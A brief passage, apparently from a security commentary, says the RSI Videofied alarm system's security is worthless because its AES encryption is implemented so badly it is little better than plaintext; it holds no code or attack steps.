The RSI Videofied system has a level of security that is worthless. It looks like they tried something and used a common algorithm – AES – but messed it up so badly that they may as well have stuck with plaintext.